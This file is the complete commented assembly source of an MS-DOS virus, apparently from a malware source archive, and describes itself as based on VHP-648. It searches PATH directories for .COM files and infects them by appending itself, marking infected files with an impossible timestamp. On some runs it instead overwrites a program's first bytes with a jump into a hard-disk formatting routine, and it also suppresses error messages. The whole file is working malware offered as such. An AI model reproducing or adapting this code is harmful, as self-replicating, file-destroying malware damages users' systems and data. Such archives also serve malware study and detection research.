MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vhp-435.asm

304 lines
6.8 KiB
NASM
Raw Normal View History

2021-01-13 00:04:54 +00:00
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
newjmp equ 7Bh ;Code of jmp instruction
codeptr equ 7A ;Here is formed a jump to virus code
pname equ 78 ;Offset of file name in dir path
poffs equ 76 ;Address of 'PATH' string
errhnd equ 74 ;Old error handler
fname equ 70 ;Path name to search for
mydta equ 2C ;DTA for Find First/Next:
attrib equ 17 ;File attribute
time equ 16 ;File time
date equ 14 ;File date
fsize equ 12 ;File size
namez equ 0E ;File name found
start:
jmp short virus
nop
int 20
data label byte ;Data section
saveins db 3 dup (90) ;Original first 3 bytes
allcom db '*.COM',0 ;Filespec to search for
pathstr db 'PATH='
;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):
bad_jmp db 0EA,5,0,0,0C8
virus:
push ax
push cx ;Save CX
call self ;Detrmine the program start address
nop ;For those looking for the E80000 pattern
self:
pop bx
sub bx,self-data-1 ;Keep BX pointed at data
cld
lea si,[bx+saveins-data] ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,bx ;Keep SI pointed at data
push bp ;Reserve local storage
mov bp,sp
sub sp,7C
mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so
skip1:
push es ;Save ES
mov ax,3524 ;Get interrupt 24h handler
int 21 ; and save it in errhnd
mov [bp-errhnd],bx
mov [bp-errhnd+2],es
mov ah,25 ;Set interrupt 24h handler
lea dx,[si+handler-data]
int 21
lea dx,[bp-mydta]
mov ah,1A ;Set DTA
int 21
push si
mov es,ds:[environ] ;Environment address
xor di,di
mov bx,si
srchfirst: ;Search 'PATH' in environment
lea si,[bx+pathstr-data]
lodsb
scasb ;Search for first letter ('P')
jne nextp
mov cx,4 ;4 letters in 'ATH='
rep cmpsb
je pfound ;PATH found, continue
nextp:
cmp byte ptr es:[di],0
je notfound ;End of environment?
mov cx,8000 ;Maximum 32 K in environment
mov al,0 ;If not, skip thru next 0
repne scasb ; (i.e. go to next variable)
jmp srchfirst ; and search again
notfound:
xor di,di ;0 indicates no PATH found
pfound:
pop si ;Restore SI & ES
pop es
mov [bp-poffs],di ;Save 'PATH' offset in poffs
lea di,[bp-fname]
mov [bp-pname],di
filesrch:
lea si,[bx+allcom-data]
mov cl,3 ;3 words in ASCIIZ '*.COM'
rep movsw ;Move '*.COM' at fname
mov si,bx ;Restore SI
mov ah,4E ;Find first file
lea dx,[bp-fname]
mov cl,11b ;Hidden, Read/Only or Normal files
int 21
jc nextdir ;If not found, search in another directory
checkfile:
mov al,[bp-time] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
;Is file size greather than 64,000 bytes?
cmp [bp-fsize],64000d
ja findnext ;If so, search for next file
;Is file size greater or equal to 10 bytes?
cmp word ptr [bp-fsize],10d
jae process ;If so, process file
findnext: ;Otherwise find the next file
mov ah,4F ;Find next file
int 21
jnc checkfile ;If found, go chech some conditions
nextdir:
mov si,[bp-poffs]
or si,si
jnz skip2
jmp olddta ;Exit if end of environment reached
skip2:
push ds ;Save DS
lea di,[bp-fname] ;Point ES:DI at fname
mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
cpydir:
lodsb ;Get a char from the PATH variable
cmp al,';' ;`;' means end of directory
je enddir
cmp al,0 ;0 means end of PATH variable
je endpath
stosb ;Put the char in fname
jmp cpydir ;Loop until done
endpath:
xor si,si ;Zero SI to indicate end of PATH
enddir:
pop ds ;Restore DS
mov [bp-poffs],si
cmp byte ptr [di-1],'\'
je skip3
mov al,'\' ;Add '\' if not already present
stosb
skip3:
mov [bp-pname],di
jmp filesrch
process:
mov di,[bp-pname]
lea si,[bp-namez] ;Point SI at namez
cpyname:
lodsb ;Copy name found to fname
stosb
cmp al,0
jne cpyname
mov si,bx ;Restore SI
mov ax,4301 ;Set file attributes
mov cl,[bp-attrib]
and cl,not 1 ;Turn off Read Only flag
int 21
mov ax,3D02 ;Open file with Read/Write access
int 21
jc oldattr ;Exit on error
mov bx,ax ;Save file handle in BX
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
jnz infect ;If not, contaminate file (don't destroy):
;Destroy file by rewriting an illegal jmp as first instruction:
mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
lea dx,[si+bad_jmp-data] ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
infect:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
lea dx,[si+saveins-data] ;Put them there
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
xor cx,cx ;0 bytes from end
xor dx,dx
int 21
jc oldtime ;Exit on error
add ax,virus-data-3 ;Add virus data length to get code offset
mov [bp-codeptr],ax ;Save result in codeptr
mov byte ptr [bp-newjmp],0E9
mov ah,40 ;Write to file handle
mov cx,endcode-data ;Virus code length as bytes to be written
mov dx,si ;Write from data to endcode
int 21
jc oldtime ;Exit on error
cmp ax,endcode-data ;Are all bytes written?
jne oldtime ;Exit if not
mov ax,4200 ;LSEEK from the beginning of the file
xor cx,cx ;Just at the file beginning
xor dx,dx
int 21
jc oldtime ;Exit on error
;Rewrite the first instruction of the file with a jump to the virus code:
mov ah,40 ;Write to file handle
mov cl,3 ;3 bytes to write
lea dx,[bp-newjmp] ;Write THESE bytes
int 21
oldtime:
mov dx,[bp-date] ;Restore file date
mov cx,[bp-time] ; and time
or cl,11111b ;Set seconds to 62 (?!)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cl,[bp-attrib] ;They were saved in fattrib
mov ch,0
lea dx,[bp-fname]
int 21
olddta:
mov ah,1A ;Set DTA
mov dx,80 ;Restore DTA
int 21
push ds ;Save DS
mov ax,2524 ;Set interrupt 24h handler
mov dx,[bp-errhnd] ;Restore saved handler
mov ds,[bp-errhnd+2]
int 21
pop ds ;Restore DS
exit:
mov sp,bp
pop bp ;Restore BP, CX & AX
pop cx
pop ax
xor bx,bx ;Clear registers
xor dx,dx
xor si,si
mov di,offset start ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret
handler: ;Critical error handler
mov al,0 ;Just ignore error
iret ; and return
endcode label byte
code ends
end start